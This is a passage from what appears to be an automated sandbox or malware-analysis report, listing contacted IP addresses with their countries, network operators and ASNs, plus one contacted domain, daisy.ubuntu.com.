 unknown United Kingdom
7922 COMCAST-7922US false
121.167.70.111
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
26.237.48.246
 unknown United States
7922 COMCAST-7922US false
58.184.254.124
 unknown Korea Republic of
9950 PUBNETPLUS2-AS-KRDACOM-PUBNETPLUSKR false
183.24.36.75
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
113.139.152.89
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
21.240.224.232
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
115.137.207.100
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
11.147.162.50
 unknown United States
3356 LEVEL3US false
197.150.13.15
 unknown Egypt
37069 MOBINILEG false
199.193.73.16
 unknown United States
27257 WEBAIR-INTERNETUS false
198.187.107.120
 unknown United States
4193 WA-STATE-GOVUS false
34.159.179.219
 unknown United States
2686 ATGS-MMD-ASUS false
114.23.169.157
 unknown New Zealand
56030 VOYAGERNET-AS-APVoyagerInternetLtdNZ false
41.218.15.247
 unknown Sudan
328594 SUDATCHAD-ASTD false
128.154.192.204
 unknown United States
1749 AS1749US false
117.53.22.115
 unknown Japan 18136 CTAJupiterTelecommunicationsCoLtdJP false
40.130.137.135
 unknown United States
7029 WINDSTREAMUS false
217.245.69.16
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
170.51.231.38
 unknown Argentina
11664 TechtelLMDSComunicacionesInteractivasSAAR false
206.127.201.19
 unknown United States
9009 M247GB false
148.30.143.103
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
210.36.69.144
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
152.100.20.129
 unknown United States
559 SWITCHPeeringrequestspeeringswitchchEU false
144.23.48.89
 unknown Costa Rica
64102 OracleCorporationCR false
179.74.214.51
 unknown Brazil
26615 TIMSABR false
205.1.63.222
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
136.11.219.221
 unknown United States
10146 FORD-MOTOR-CO-SG-APFordMotorCompanySG false
187.229.43.185
 unknown Mexico
8151 UninetSAdeCVMX false
116.81.14.143
 unknown Japan 18144 AS-ENECOMEnergiaCommunicationsIncJP false
3.64.174.92
 unknown United States
16509 AMAZON-02US false
103.162.50.15
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
26.192.83.58
 unknown United States
7922 COMCAST-7922US false
97.144.64.128
 unknown United States
6167 CELLCO-PARTUS false
101.189.115.110
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
101.170.62.113
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
103.123.2.198
 unknown Taiwan; Republic of China (ROC)
131632 LETSWIN-ASN-1LETSWINTELECOMCOLTDTW false
22.50.129.63
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
76.105.207.98
 unknown United States
7922 COMCAST-7922US false
143.107.153.163
 unknown Brazil
28571 UNIVERSIDADEDESAOPAULOBR false
119.26.22.66
 unknown Japan 9617 ZAQJupiterTelecommunicationsCoLtdJP false
223.95.37.178
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
158.159.239.32
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
137.32.110.55
 unknown United States
6075 LM-CORPUS false
52.103.164.171
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
47.0.213.212
 unknown United States
34533 ESAMARA-ASRU false
70.72.47.223
 unknown Canada
6327 SHAWCA false
199.165.65.73
 unknown United States
7774 ALASKAUS false
209.221.170.119
 unknown United States
3742 SEMAPHORE-1US false
87.147.245.62
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
161.222.58.39
 unknown United States
33217 SCHNEIDERUS false
59.66.104.205
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
132.233.237.197
 unknown United States
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
220.30.182.158
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
126.212.151.68
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
189.109.13.95
 unknown Brazil
10429 TELEFONICABRASILSABR false
111.103.22.104
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
177.146.22.217
 unknown Brazil
26599 TELEFONICABRASILSABR false
91.82.65.105
 unknown Hungary
20845 DIGICABLEHU false
88.244.32.140
 unknown Turkey
9121 TTNETTR false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true